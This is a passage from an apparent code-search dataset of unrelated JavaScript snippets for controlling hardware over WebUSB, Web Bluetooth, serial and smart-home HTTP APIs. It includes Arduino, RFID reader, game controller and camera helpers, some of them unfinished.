z.innerHTML + \"\\n\"+ (\">id:\" + device.id);\n isConnected = 1;\n bledevice = device;\n return device.gatt.connect();\n })\n .then(server=>{\n bleserver = server;\n return server.getPrimaryService(service);\n })\n .then(service => {\n return service.getCharacteristic(RX_char)\n .then(characteristic => {\n console.log(characteristic);\n RX_characteristic = characteristic;\n return service.getCharacteristic(TX_char);\n })\n })\n .then(characteristic => {\n console.log(characteristic);\n TX_characteristic = characteristic;\n /* add an event listener to the TX characteristic */\n TX_characteristic.addEventListener('valueUpdate', handleValueUpdated);\n console.log(TX_characteristic.readValue());\n })\n .then( value =>{\n /* try to read from the device and print to console */\n // y.innerText = value.getUint8(0);\n // console.log(value.getUint8(0));\n })\n .catch(error=> {\n z.innerHTML= z.innerHTML + \"\\n\"+ (error);\n });\n}","requestUsb() {\n return new Observable(observer => {\n navigator.usb.requestDevice({ filters: [] })\n .then((result) => {\n this.vendorId = result.vendorId;\n this.productId = result.productId;\n return observer.next(result);\n }).catch(error => {\n return observer.error(error);\n });\n });\n }","async function uBitOpenDevice(device, callback) {\n const transport = new DAPjs.WebUSB(device)\n const target = new DAPjs.DAPLink(transport)\n let buffer=\"\" // Buffer of accumulated messages\n const parser = /([^.:]*)\\.*([^:]+|):(.*)/ // Parser to identify time-series format (graph:info or graph.series:info)\n \n target.on(DAPjs.DAPLink.EVENT_SERIAL_DATA, data => {\n buffer += data;\n let firstNewline = buffer.indexOf(\"\\n\")\n while(firstNewline>=0) {\n let messageToNewline = buffer.slice(0,firstNewline)\n let now = new Date() \n // Deal with line\n // If it's a graph/series format, break it into parts\n let parseResult = parser.exec(messageToNewline)\n if(parseResult) {\n let graph = parseResult[1]\n let series = parseResult[2]\n let data = parseResult[3]\n let callbackType = \"graph-event\"\n // If data is numeric, it's a data message and should be sent as numbers\n if(!isNaN(data)) {\n callbackType = \"graph-data\"\n data = parseFloat(data)\n }\n // Build and send the bundle\n let dataBundle = {\n time: now,\n graph: graph, \n series: series, \n data: data\n }\n callback(callbackType, device, dataBundle)\n } else {\n // Not a graph format. Send it as a console bundle\n let dataBundle = {time: now, data: messageToNewline}\n callback(\"console\", device, dataBundle)\n }\n buffer = buffer.slice(firstNewline+1) // Advance to after newline\n firstNewline = buffer.indexOf(\"\\n\") // See if there's more data\n }\n });\n await target.connect();\n await target.setSerialBaudrate(115200)\n //await target.disconnect();\n device.target = target; // Store the target in the device object (needed for write)\n device.callback = callback // Store the callback for the device\n callback(\"connected\", device, null) \n target.startSerialRead()\n return Promise.resolve()\n}","async request() {\n let options = {\n filters: [\n {\n name: \"balenaBLE\"\n }\n ],\n optionalServices: [0xfff0, 0xfff1]\n };\n if (navigator.bluetooth == undefined) {\n alert(\"Sorry, Your device does not support Web BLE!\");\n return;\n }\n this.device = await navigator.bluetooth.requestDevice(options);\n if (!this.device) {\n throw \"No device selected\";\n }\n this.device.addEventListener(\"gattserverdisconnected\", this.onDisconnected);\n }","async function SendBlyncUSB30ControlCommand(deviceInfo, byRedValue, byGreenValue, byBlueValue, byLightControl, byMusicControl_1, byMusicControl_2) {\n\n try {\n var device = deviceInfo.device;\n\n await device.open();\n //await device.reset();\n\n if (device.configuration === null) {\n await device.selectConfiguration(1);\n }\n\n\t\tawait device.claimInterface(0);\n\t\t\n abyBlyncUsb30ReportBuffer[0] = byRedValue;\n abyBlyncUsb30ReportBuffer[1] = byBlueValue;\n abyBlyncUsb30ReportBuffer[2] = byGreenValue;\n abyBlyncUsb30ReportBuffer[3] = byLightControl;\n abyBlyncUsb30ReportBuffer[4] = byMusicControl_1;\n abyBlyncUsb30ReportBuffer[5] = byMusicControl_2;\n abyBlyncUsb30ReportBuffer[6] = 0xFF;\n abyBlyncUsb30ReportBuffer[7] = 0x22;\n\n var result = await device.controlTransferOut( \n {\n requestType: 'class',\n recipient: 'interface',\n request: 0x09,\n value: 0x0200,\n index: 0x0000\n },\n abyBlyncUsb30ReportBuffer);\n\n await device.close();\n } catch (e) {\n console.log(\"Exception: \" + e);\n }\n}","respondToArduino(command){\n BluetoothSerial.write(command)\n .then((res) => {\n console.log(res, command)\n })\n .catch((err) => console.log(err.message))\n }","function bleConsole(value){\n const y = document.getElementById('serial')\n /* check if the device is connected if true send file*/\n if(isConnected){\n /* need to read the value of the TX_char\n * may need some kind of loop or trigger to watch if new data comes in????\n * not sure what I want to implement for this yet....\n */\n // y.innerText = TX_characteristic.readValue(); TODO does not work\n }else{\n const x = document.getElementById('console');\n x.style.display =\"none\";\n alert(\"MicroTrynkit device not connected. Please pair it first.\");\n }\n\n}","enumerate_devices() {\n const filters = {filters: [\n {vendorId: 0x16D0}\n ]};\n\n if (!this.usb) {\n this.log(\"error: WebUSB not supported\\n\", \"red\");\n return;\n }\n\n this.usb.requestDevice(filters)\n .then(dev => this.connect_device(dev))\n .catch(error => {\n if (String(error) === \"SecurityError: Must be handling a user gesture to show a permission request.\") {\n this.log(\"Please click 'Connect Device' on the left toolbar.\", \"black\");\n } else if (String(error) === \"NotFoundError: No device selected.\") {\n this.log(\"Please select a WebUSB device.\", \"red\");\n } else {\n this.log(String(error));\n this.log(\"error: unable to enumerate USB device list\");\n }\n });\n }","async function findUSBDevice(event) {\n // STEP 1A: Auto-Select first port\n if (event.type == 'AutoConnect' || event.type == 'Reconnect') {\n // ports = await getPorts()\n //STEP 1A: GetPorts - Automatic at initialization\n // -Enumerate all attached devices\n // -Check for permission based on vendorID & productID\n devices = await navigator.usb.getDevices();\n ports = devices.map((device) => new serial.Port(device)); //return port\n\n if (ports.length == 0) {\n port.statustext_connect =\n 'NO USB DEVICE automatically found on page load';\n console.log(port.statustext_connect);\n } else {\n var statustext = '';\n if (event.type == 'AutoConnect') {\n statustext = 'AUTO-CONNECTED USB DEVICE ON PAGE LOAD!';\n } else if (event.type == 'Reconnect') {\n statustext = 'RECONNECTED USB DEVICE!';\n }\n port = ports[0];\n try {\n await port.connect();\n } catch (error) {\n console.log(error);\n }\n port.statustext_connect = statustext;\n console.log(port.statustext_connect);\n\n //Hide manual connect button upon successful connect\n document.querySelector('button[id=connectusb]').style.display = 'none';\n }\n }\n\n // STEP 1B: User connects to Port\n if (\n event.type == 'pointerup' ||\n event.type == 'touchend' ||\n event.type == 'mouseup'\n ) {\n event.preventDefault(); //prevents additional downstream call of click listener\n try {\n //STEP 1B: RequestPorts - User based\n // -Get device list based on Arduino filter\n // -Look for user activation to select device\n const filters = [\n { vendorId: 0x2341, productId: 0x8036 },\n { vendorId: 0x2341, productId: 0x8037 },\n { vendorId: 0x2341, productId: 0x804d },\n { vendorId: 0x2341, productId: 0x804e },\n { vendorId: 0x2341, productId: 0x804f },\n { vendorId: 0x2341, productId: 0x8050 },\n ];\n\n device = await navigator.usb.requestDevice({ filters: filters });\n port = new serial.Port(device); //return port\n\n await port.connect();\n\n port.statustext_connect = 'USB DEVICE CONNECTED BY USER ACTION!';\n console.log(port.statustext_connect);\n\n //Hide manual connect button upon successful connect\n document.querySelector('button[id=connectusb]').style.display = 'none';\n } catch (error) {\n console.log(error);\n }\n waitforClick.next(1);\n }\n} //FUNCTION findUSBDevice","function connectviaBT() {\r\n\t// initialize bluetooth and setup an event listener\r\n\t//todo: refactor name mWebSocket_InitAsync\r\n\tdocument.getElementById( \"idStatus\").innerHTML=\"Connecting via BT\";\r\n\t//returns data from BT as Uint8Array [1..20]\r\n\t//Todo: write what this does in a comment is this the Ternary Operator? (variable = (condition) ? expressionTrue : expressionFalse)\r\n\treturn (bluetoothDeviceDetected ? Promise.resolve() : getDeviceInfo() && isWebBluetoothEnabled())\r\n\t.then(connectGATT) //todo:@FC please explain what is happening here\r\n\t.then(_ => {\r\n\t\tconsole.log('Evaluating signal of interest...')\r\n\t\treturn gattCharacteristic.readValue()\t//receiving data from BT - Uint8Array [1..20]\r\n\t})\r\n\t.catch(error => {\r\n\t\tconsole.log('Waiting to start reading: ' + error)\r\n\t})\r\n}","function getdevice (dev, callback)\n{\n if (typeof (webphone_api.plhandler) !== 'undefined' && webphone_api.plhandler !== null)\n {\n if (typeof (dev) === 'undefined' || dev === null || dev.length < 1) dev = '-13';\n webphone_api.plhandler.GetDevice(dev, callback);\n }\n}","function controlHSDevice(device,action,value,cbfunc){\n var options = {\n hostname: hsserver,\n path: '/jsonapi.asp?action="https://huggingface.co/datasets/nomic-ai/cornstack-javascript-v1/viewer/default/ + action + "&id=' + device + '&value=' + value,\n port: hsport,\n headers: {\n 'Authorization': auth\n }\n };\n\n http.get(options, function(response) {\n var body = '';\n response.on('data', function(d) {body += d;});\n response.on('end', function() {cbfunc(JSON.parse(body));});\n\t response.on(\"error\",function(e){console.log(\"Got error: \" + e.message); });\n }); \n}","function controlHSDevice(device,action,value,cbfunc){\n var options = {\n hostname: hsserver,\n path: '/jsonapi.asp?action="https://huggingface.co/datasets/nomic-ai/cornstack-javascript-v1/viewer/default/ + action + "&id=' + device + '&value=' + value,\n port: hsport,\n headers: {\n 'Authorization': auth\n }\n };\n\n http.get(options, function(response) {\n var body = '';\n response.on('data', function(d) {body += d;});\n response.on('end', function() {cbfunc(JSON.parse(body));});\n\t response.on(\"error\",function(e){log(\"Got error: \" + e.message); });\n }); \n}","function getWeMoData() {\n var wemoHeaders = { \n \"Content-Type\": \"application/json\", \n \"SOAPACTION\": \"urn:Belkin:service:basicevent:1#GetBinaryState\",\n };\n var wemoState = '>' + \n '' +\n \"\" + \n '' + \n \"1 \" + \n \" \" + \n \" \" + \n \" \"\n var wemoOptions =\n {\n \"method\" : \"post\",\n \"headers\" : wemoHeaders,\n \"muteHttpExceptions\": true,\n \"payload\" : wemoState,\n };\n\n var ddnsDevices = [ \"WemoXmas\", \"WemoGazebo\" ];\n props.setProperty( \"weNum\", ddnsDevices.length ); \n \n for (var i = 0; i < ddnsDevices.length; i++) {\n var response = UrlFetchApp.fetch(getSecureVal(ddnsDevices[i], \"URL\") + \"/upnp/control/basicevent1\").getContentText();\n Logger.log(response);\n var wemoJson = JSON.parse(response);\n state = wemoJSON.BinaryState;\n props.setProperties( \"we\" + String(i), state ); \n /* send to ATT M2X*/\n var streams = [ \"we0\", \"we1\", \"we2\", \"we3\" ];\n sendDataATT(ddnsDevices[i], streams);\n logProps(streams);\n }\n \n}","async send_cmd(cmd, options={}) {\n const data = options.data;\n const textDecode = (options.textDecode !== undefined ? !!options.textDecode : true);\n const sleepOverride = (parseInt(options.sleepOverride) || 10);\n const cmdIndex = (parseInt(options.cmdIndex) || 0);\n\n if (!this.device || !this.device.opened) {\n this.log(\"error: device not connected.\\n\", \"red\");\n this.log(\"Use button to connect to a supported programmer.\\n\", \"red\");\n return Promise.reject(\"error: device not opened\");\n }\n\n const opts = {\n requestType: \"vendor\",\n recipient: \"device\",\n request: 250,\n value: this.CMD_LUT[cmd],\n index: cmdIndex\n };\n\n // transfer data out\n const res = data\n ? await this.device.controlTransferOut(opts, data)\n : await this.device.controlTransferOut(opts);\n\n // sleep for a bit to give the USB device some processing time leeway\n await (() => new Promise(resolve => setTimeout(resolve, sleepOverride)))();\n\n return this.device.controlTransferIn({\n requestType: \"vendor\",\n recipient: \"device\",\n request: 249,\n value: 0x70,\n index: 0x81\n }, 64).then(result => {\n return textDecode\n ? (new TextDecoder()).decode(result.data)\n : result.data.buffer;\n });\n }","async function requestBLEDevice(){\n let result = Promise.resolve()\n if (ble.connected == false){\n console.log('Requesting ble device...')\n wdm('Requesting bluetooth device list')\n // let options = {filters: [ {name: ble.name}, {services:[ ble.customserviceUUID ]} ]}\n let options = {filters: [ {namePrefix: ble.namePrefix}, {services:[ ble.customserviceUUID ]} ]}\n\n try{\n device = await navigator.bluetooth.requestDevice(options)\n console.log(\"found a device\",device)\n console.log(device.name)\n console.log(device.uuids)\n var textstr = \"found a device name: \" + device.name + \"
\" + \"id: \" + device.id\n ble.statustext = textstr\n \n ble.device=device\n ble.device.addEventListener('gattserverdisconnected',onDisconnectedBLE)\n }\n catch(error){\n if (ble.connected == false){\n var textstr = 'Still waiting for user to select device'\n console.log(textstr)\n ble.statustext = ble.statustext + \"
\" + textstr\n \n return error\n }\n }\n }\n return result\n}","getHardware (cb) {\n\t\tvar self = this\n\n\t\tif (!this.started)\n\t\t{\n\t\t\treturn cb('Connection to MD-DM not started')\n\t\t}\n\n\t\tif (!this.device.connected)\n\t\t{\n\t\t\treturn cb('Not currently connected to MD-DM')\n\t\t}\n\n\t\tthis._connection.exec('SHOWHW', function (err, response) {\n\t\t\tself._logger.verbose(`SHOWHW response: ${response}`)\n\n\t\t\ttry\n\t\t\t{\n\t\t\t\tcb(err, TelnetOutputParser.parseHardware(response))\n\t\t\t}\n\t\t\tcatch (e)\n\t\t\t{\n\t\t\t\tself._logger.warn(`Failed to parse response: ${response}`)\n\t\t\t\tcb(`Failed to parse response: ${e} / ${e.stack}`)\n\t\t\t}\n\t\t})\n\t}","function request(value) {\n\t// Init variables\n\tlet src;\n\tlet cmd;\n\n\tswitch (value) {\n\t\tcase 'motor-values' : {\n\t\t\tsrc = 'DIA';\n\t\t\tcmd = [ 0xB8, 0x12, 0xF1, 0x03, 0x22, 0x40, 0x00 ];\n\t\t\tbreak;\n\t\t}\n\n\t\tdefault : return;\n\t}\n\n\tbus.data.send({\n\t\tsrc : src,\n\t\tdst : 'DME',\n\t\tmsg : cmd,\n\t});\n}","function OpenAVR(device)\n{\n if (device.deviceDescriptor.idVendor != kAtmel ||\n device.deviceDescriptor.idProduct != kEVK1101)\n {\n return; // (not our device)\n }\n\n try {\n device.open();\n device.interfaces[0].claim();\n // find first unused input >= 2\n for (var i=2; ; ++i) {\n if (i < avrs.length && avrs[i]) continue;\n avrs[i] = device;\n device.avrNum = i;\n var endIn = device.interfaces[0].endpoints[0];\n var endOut = device.interfaces[0].endpoints[1];\n endIn.avrNum = i;\n endOut.avrNum = i;\n endIn.transferType = usb.LIBUSB_TRANSFER_TYPE_BULK;\n endOut.transferType = usb.LIBUSB_TRANSFER_TYPE_BULK;\n endIn.timeout = 1000;\n endOut.timeout = 1000;\n // (must install handlers before we start polling)\n endIn.on('data', HandleData);\n endIn.on('error', HandleError);\n endOut.on('error', HandleError);\n endIn.startPoll(4, 256);\n\n // add member function to send command to AVR\n device.SendCmd = SendCmd;\n // send initial command to get AVR serial number and software version\n device.SendCmd(\"a.ser;b.ver\\n\");\n break;\n }\n }\n catch (err) {\n Log('Error opening AVR device');\n }\n}","writeLoginControl(data) {\n var arrData = [17,16,0,1,1,];\n const data_send = this.toUTF8Array(data);\n console.log('writeLoginControl_1',data_send);\n for (var i = 0; i < data_send.length; i++) {\n arrData.push(data_send[i]);\n }\n arrData[2] = arrData.length + 1;\n arrData[arrData.length] = this.calCheckSum(arrData);\n\n console.log('writeLoginControl_2',arrData, this.byteToHexString(arrData));\n\n BleManager.writeWithoutResponse(this.props.mymac, 'fff0', 'fff5',arrData)\n .then(() => {\n console.log('--writeLoginControl successfully: ',arrData);\n })\n .catch((error) => {\n console.log('--writeLoginControl failed ',error);\n });\n }","readFromDevice() {\n this.device.transferIn(5, 64).then(result => {\n const decoder = new TextDecoder();\n this.rstring += decoder.decode(result.data);\n // do a quick JSON smoketest (should do better with decoder/streaming)\n const startIdx = this.rstring.indexOf('{');\n if(startIdx > 0) this.rstring = this.rstring.substring(startIdx);\n const endIdx = this.rstring.indexOf('}');\n if(endIdx > -1) {\n const parseStr = this.rstring.substring(0, endIdx+1);\n this.rstring = this.rstring.substring(endIdx+1);\n try {\n const msg = JSON.parse(parseStr);\n this._handleMessage(msg);\n // this.dispatchEvent(new CustomEvent('ek-event', {detail:msg}), {bubbles: true});\n } catch(e) {\n console.log(\"NOT JSON:\",parseStr);\n }\n this.rstring = \"\";\n }\n this.readFromDevice();\n })\n .catch(error => { \n console.log(error);\n this.emitMessage(this.device.serialNumber, \"\");\n this.emitDisconnected(this.device.serialNumber);\n this.device = null;\n this.rstring = \"\";\n });\n }","async getBatteryLevel() {\n const outputReportID = 0x01;\n const subCommand = [0x50];\n const data = [\n 0x00,\n 0x00,\n 0x00,\n 0x00,\n 0x00,\n 0x00,\n 0x00,\n 0x00,\n 0x00,\n ...subCommand,\n ];\n await this.device.sendReport(outputReportID, new Uint8Array(data));\n\n return new Promise((resolve) => {\n const onBatteryLevel = ({ detail: batteryLevel }) => {\n this.removeEventListener('batterylevel', onBatteryLevel);\n delete batteryLevel._raw;\n delete batteryLevel._hex;\n resolve(batteryLevel);\n };\n this.addEventListener('batterylevel', onBatteryLevel);\n });\n }","async getDeviceDetails() {\n return this.digestClient\n .fetch(\n `http://${this.dahua_host}/cgi-bin/magicBox.cgi?action=getSystemInfo`\n )\n .then((r) => r.text())\n .then((text) => {\n const deviceDetails = text\n .trim()\n .split('\\n')\n .reduce((obj, str) => {\n const [key, val] = str.split('=');\n obj[key] = val.trim();\n return obj;\n }, {});\n return deviceDetails;\n });\n }","async function readComms() {\n await transferByte(0x99);\n let readLen = await transferByte(0x00);\n if (readLen) {\n let rxBuff = Buffer.alloc(readLen, 0, 'binary');\n for(let ri = 0; ri < readLen; ri++) {\n let rx = await transferByte(0x00);\n rxBuff[ri] = rx;\n }\n return rxBuff;\n }\n return null;\n}","get_card_id_ex() {\n return new Promise((resolve, reject) => {\n\n let on_frame = (frame) => {\n // remove_listener();//remove to resever for next time \n switch (frame.type) {\n case CODE.ERR_HEADER: /* No card */\n\n let err_code = frame.buffer[1];\n if (err_code == CODE.NO_CARD) {\n resolve({ is_available: false, uid_len: 0, uid: '' });\n } else {\n reject(frame);\n }\n break;\n case CODE.RESPONSE_HEADER:/*have card */\n let uid_len = frame.buffer[5];\n let resp = {\n is_available: true\n };\n if (this.buffer.length >= (CODE.PACKET_LENGTH + uid_len)) {\n let uid_buffer = new Buffer.alloc(uid_len);\n frame.buffer.copy(uid_buffer, 0, 7, 7 + uid_len);\n resp.uid_len = uid_len;\n resp.uid = util.to_hex_string(uid_buffer);\n resolve(resp);\n }\n else {\n reject('invalid resp');\n }\n break;\n default:\n reject('invalid resp');\n break;\n }\n };\n this.once('frame', on_frame);//onetime fire\n\n //GET_CARD_ID_EX (0x2C) : Use this function for cards with UID longer than 4 byte\n this.send_command(\"55 2C AA 00 00 00 DA\");\n });\n }","function bleSend() {\n /* check if the device is connected if true send file*/\n let encoder = new TextEncoder('utf-8');\n\n if(isConnected){\n /* send an erase command so that the file gets started fresh */\n RX_characteristic.writeValue(encoder.encode(\"erase\"));\n for(let a = 0; a<3000; a++){\n console.log(\"\")\n }\n /* get the contents of the editor that is in use */\n let editorContents = editor.getValue();\n /* send the contents to the device */\n //split the editor contents into newlines.\n temp = editorContents.split(/\\n/);\n for(let i=0; i> (8*(1-j)));\n }\n */\n //CMD\n tx_data[0] = 0;\n //index\n tx_data[1] = i & 0xff;\n\n\n for(var j = 0; j < 2; j = j + 1){\n tx_data[2+j] = 0xff & ((g_rawcode_length/2) >> (8*(1-j)));\n }\n\n //freq(0:38k, 1;40k)\n tx_data[4] = 0;\n //Format(0:unknown, 1:NEC, 2:SONY...)\n tx_data[5] = 1;\n\n //Number of Frame\n for(var j = 0; j < 2; j = j + 1){\n tx_data[6+j] = 0xff & (g_rawcode_length >> (8*(1-j)));\n }\n\n //Data0\n for(var j = 0; j < 4; j = j + 1){\n tx_data[8+j] = 0xff & ((g_rawcode[i*2] / g_ir_margin) >> (8*(3-j)));\n }\n\n //Data1\n for(var j = 0; j < 4; j = j + 1){\n tx_data[12+j] = 0xff & ((g_rawcode[i*2 + 1] / g_ir_margin) >> (8*(3-j)));\n }\n\n //Transmit\n window.cmdCharacteristic.writeValue(new Uint8Array(tx_data)).catch(error => {\n uiDebugMessage(\"liffWriteLoadMatrix\");\n uiStatusError(makeErrorMsg(error), false);\n });\n }\n }else{\n window.cmdCharacteristic.writeValue(new Uint8Array([1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0])).catch(error => {\n uiDebugMessage(\"liffWriteLoadMatrix - Req\");\n uiStatusError(makeErrorMsg(error), false);\n });\n }\n}","start() {\n let constraints = {\n video: {\n facingMode: 'user',\n height: { min: 360, ideal: 720, max: 1080 },\n deviceId: localStorage.getItem('deviceId')\n },\n audio: true\n };\n\n // navigator.mediaDevices.enumerateDevices()\n // .then(dd=> { \n // dd.map(device => {\n // if (device.kind == 'videoinput' && device.label == DEVICE) {\n // constraints.video.deviceId = device.deviceId;\n // }\n // })\n // }) \n\n // navigator.usb.requestDevice({filters:[]})\n // .then(selectedDevice => {\n // device = selectedDevice;\n // console.log('selectedDevice', device, selectedDevice);\n // return device.open(); // Begin a session.\n // })\n // .then(() => {\n // console.log('daada', device.selectConfiguration);\n // device.selectConfiguration(1)}) // Select configuration #1 for the device.\n // .then(() => {\n // console.log('daada', device.claimInterface);\n // device.claimInterface(0)}) // Request exclusive control over interface #2.\n // .then(() => {\n // console.log('daada', device.controlTransferOut);\n // device.controlTransferOut({\n // requestType: 'class',\n // recipient: 'interface',\n // request: 0x22,\n // value: 0x01,\n // index: 0x02})}) // Ready to receive data\n // .then(() => {\n // console.log('dedde', device);\n // device.transferIn(5, 64)\n // }) // Waiting for 64 bytes of data from endpoint #5.\n // .then(result => {\n // let decoder = new TextDecoder();\n // console.log('decoder', decoder, result);\n // console.log('Received: ' + decoder.decode(result.data));\n // })\n // .catch(error => { console.log('this.error', error); });\n console.log('constraints', constraints)\n\n setTimeout(() => {\n // constraints.video.deviceId = localStorage.getItem('deviceId');\n navigator.mediaDevices\n .getUserMedia(constraints)\n .then((stream) => {\n this.stream = stream;\n this.emit('stream', stream);\n })\n .catch((err) => {\n if (err instanceof DOMException) {\n alert('Cannot open webcam and/or microphone');\n } else {\n console.log(err);\n }\n });\n }, 3000)\n\n return this;\n }","function _htob (hex) {\n if (hex) {\n if (typeof hex !== 'string') {\n throw new TypeError('Expected input to be a string')\n }\n\n if ((hex.length % 2) !== 0) {\n throw new RangeError('Expected string to be an even number of characters')\n }\n\n var view = new Uint8Array(hex.length / 2)\n\n for (var i = 0; i < hex.length; i += 2) {\n view[i / 2] = parseInt(hex.substring(i, i + 2), 16)\n }\n\n return view\n } else {\n return null;\n }\n}","async enableSimpleHIDMode() {\n const outputReportID = 0x01;\n const subcommand = [0x03, 0x3f];\n const data = [\n 0x00,\n 0x00,\n 0x00,\n 0x00,\n 0x00,\n 0x00,\n 0x00,\n 0x00,\n 0x00,\n ...subcommand,\n ];\n await this.device.sendReport(outputReportID, new Uint8Array(data));\n }","function getDeviceCapability()\r\n{\r\n\txrxDeviceConfigGetDeviceCapabilities( \"http://127.0.0.1\", getDeviceCapabilities_success, getDeviceCapatilities_failure, null);\r\n}","getStatus() {\n return new Promise((resolve, reject) => {\n // send hex code for getting the status of power,rgb,warm\n send(this.ip, hexToArray(\"81:8a:8b:96\"), (data, err) => {\n if (err)\n reject(err)\n else {\n if(data) {\n const status = [];\n for(let i = 0; i < data.length; i+=2){\n status.push(data[i].concat(data[i+1]))\n }\n const power = status[2] === \"23\" ? \"on\" : \"off\"\n \n const rgb = status.slice(6,9).map((el) => parseInt(el, 16));\n \n const warm = parseInt(status[9], 16)\n const out = {\"power\" : power, \"rgb\" : rgb, \"warm\" : warm}\n resolve(out)\n }\n }\n });\n })\n }","getDeviceID(): Promise {\n return HyperTrack.getDeviceID();\n }","function send2LMviaBT(value) { //value is an arry of bytes\r\n //let encoder = new TextEncoder('utf-8');\r\n mDebugMsg1(1,'Setting Characteristic User Description...');\r\n gattCharacteristic.writeValue(value)\r\n .then(_ => {\r\n \t mDebugMsg1(1,'> Characteristic User Description changed to: ' + value);\r\n })\r\n .catch(error => {\r\n\t\t//todo9: userfriendly message\r\n \t mDebugMsg1(1,'Argh! ' + error);\r\n });\r\n\r\n\r\n }","function arduinoTest() {\n return request;\n}","function read(){\n\t\t\t\n\t\t\tvar deferred = $q.defer();\n\t\t\tserial.read(\n\t\t\t\tfunction success(data){\n\t\t\t\t\tvar byteArray = new Uint8Array(data);\n\t\t\t\t\tdeferred.resolve( UtilsService.byteArrayToString(byteArray) );\n\t\t\t\t},\n\t\t\t\tfunction error(){\n\t\t\t\t\tdeferred.reject(new Error());\n\t\t\t\t}\n\t\t\t);\n\t\t\t\n\t\t\treturn deferred.promise;\n\t\t\t\n\t\t}","function getCCDA(url,uid,callback){\n var options = {\n host: api_domain,\n path: url+'?api_key='+api_key+'&uid='+uid,\n port: api_port\n}\n//Get the bindaas api\nvar request = http.request(options, function (res) {\n var data = '';\n res.on('data', function (chunk) {\n data += chunk;\n });\n res.on('end', function () {\n callback(data);\n });\n });\n request.on('error', function (e) {\n console.log(e.message);\n console.log(\"please check that your bindaas API is succesfully set up\");\n });\n request.end();\n}","readHydrawiseStatus(){\n const cmd = hydrawise_url_status + \"api_key=\" + this.config.hydrawise_apikey;\n\n // execute only if apikey is defined in config page\n if (this.config.hydrawise_apikey!=undefined){\n this.log.info(\"send: \"+cmd);\n //request(cmd, function (error, response, body){\n request(cmd, (error, response, body) => {\n\n if (!error && response.statusCode == 200) {\n // parse JSON response from Hydrawise controller\n var obj = JSON.parse(body);\n // read device config\n hc6.nextpoll = parseInt(obj.nextpoll);\n hc6.time = parseInt(obj.time);\n hc6.message = obj.message;\n this.log.info(\"nextpoll=\"+hc6.nextpoll+\" time=\"+hc6.time+\" message=\"+hc6.message);\n \n // read all configured sensors\n for (let i=0; i<=1; i++){\n // if sensor is configured\n if (obj.sensors[i]!=null){\n hc6.sensors[i].input = parseInt(obj.sensors[i].input);\n hc6.sensors[i].type = parseInt(obj.sensors[i].type);\n hc6.sensors[i].mode = parseInt(obj.sensors[i].mode);\n hc6.sensors[i].timer = parseInt(obj.sensors[i].timer);\n hc6.sensors[i].offtimer = parseInt(obj.sensors[i].offtimer);\n // read all related relays\n for (let j=0; j<=5; j++){\n // if relay is configured\n if (obj.sensors[i].relays[j]!=null){\n hc6.sensors[i].relays[j]=obj.sensors[i].relays[j].id\n }\n };\n }\n this.log.info(\"sensor\"+i+\": input=\"+hc6.sensors[i].input+\" type=\"+hc6.sensors[i].type+\n \" mode=\"+hc6.sensors[i].mode+ \" timer=\"+hc6.sensors[i].timer+\" offtimer=\"+hc6.sensors[i].offtimer+\n \" relay0=\"+hc6.sensors[i].relays[0]+\" relay1=\"+hc6.sensors[i].relays[1]+\" relay2=\"+hc6.sensors[i].relays[2]+\n \" relay3=\"+hc6.sensors[i].relays[3]+\" relay4=\"+hc6.sensors[i].relays[4]+\" relay5=\"+hc6.sensors[i].relays[5]);\n }\n\n // read all configured relays\n for (let i=0; i<=5; i++){\n if (obj.relays[i]!=null){\n hc6.relays[i].relay_id = parseInt(obj.relays[i].relay_id);\n hc6.relays[i].name = obj.relays[i].name;\n hc6.relays[i].relay = parseInt(obj.relays[i].relay);\n hc6.relays[i].type = parseInt(obj.relays[i].type);\n hc6.relays[i].time = parseInt(obj.relays[i].time);\n hc6.relays[i].run = parseInt(obj.relays[i].run);\n hc6.relays[i].period = parseInt(obj.relays[i].period);\n hc6.relays[i].timestr = obj.relays[i].timestr;\n }\n else{\n hc6.relays[i].relay_id = 0;\n hc6.relays[i].name = \"\";\n hc6.relays[i].relay = 0;\n hc6.relays[i].type = 0;\n hc6.relays[i].time = 0;\n hc6.relays[i].run = 0;\n hc6.relays[i].period = 0;\n hc6.relays[i].timestr = \"\";\n }\n this.log.info(\"relay\"+i+\": relay_id=\"+hc6.relays[i].relay_id+\" name=\"+hc6.relays[i].name+\n \" relay=\"+hc6.relays[i].relay+\" type=\"+hc6.relays[i].type+\" time=\"+hc6.relays[i].time+\n \" run=\"+hc6.relays[i].run+\" period=\"+hc6.relays[i].period+\" timestr=\"+hc6.relays[i].timestr);\n }\n }\n })\n }\n }","function getBufferRequest(opt, callback){\n\n\topt.host = \"cloud.cadexchanger.com\";\n\topt.protocol = \"https:\";\n\topt.path = \"/api/v1\" + opt.path;\n\n\tconst tmpFile = fs.createWriteStream(\"tmp.file\");\n\tconst req = https.get(opt, (res) => {\n\t\tres.pipe(tmpFile);\n\n\t\ttmpFile.on('finish', () => {\n\t\t\t//tmpFile.close();\n\t\t\tcallback(fs.readFileSync(\"tmp.file\"));\n\t\t\tfs.unlink(\"tmp.file\", ()=>{});\n\t\t});\n\t});\n}","function readSerialData(data) {\n console.log(data.toString());\n sendit({method: 'data', data: data.toString()});\n}","function getDevicePromise(device) {\n return fetch(\n `https://www-bd.fnal.gov/cgi-bin/acl.pl?acl=~kissel/acl/mshow.acl+${device}+/device_index`\n )\n .then(res => res.text())\n .then(text => {\n return text;\n })\n .then(parseDeviceIndex);\n}","function decode()\n{\n\tget_ui_vals();\n\n\n\tif (typeof hex_opt === 'undefined')\n\t{\n\t\thex_opt = 0;\n\t}\n\n\n\n\tif (rate == 0)\n\t{\n\t\treturn;\n\t}\n\n\tspb = sample_rate / rate; \t\t// Calculate the number of Samples Per Bit.\n\n\ttry\n\t{\n\t\tspb_hs = sample_rate / high_rate;\n\t}\n\tcatch(e)\n\t{\n\t\tspb_hs = sample_rate / 2000000;\n\t}\n\n\tm = spb / 10; \t\t\t\t\t// Margin = 1 tenth of a bit time (expresed in number of samples)\n\tm_hs = spb_hs / 10;\n\n\tvar t = trs_get_first(ch);\n\n\tchannel_color = get_ch_light_color(ch);\n\n\twhile (trs_is_not_last(ch) && (stop == false))\n\t{\n\t if (abort_requested() == true)\t\t// Allow the user to abort this script\n\t\t{\n\t\t\treturn false;\n\t\t}\n\n\t\tswitch (state)\n\t\t{\n\t\t\tcase GET_SOF:\n\n\t\t\t\twhile ((t.val != 0) && trs_is_not_last(ch))\t\t// Search for SOF\n\t\t\t\t{\n\t\t\t\t\tt = trs_get_next(ch);\n\t\t\t\t}\n\n\t\t\t\ts = t.sample + (spb * 0.5); \t\t// Position our reader on the middle of first 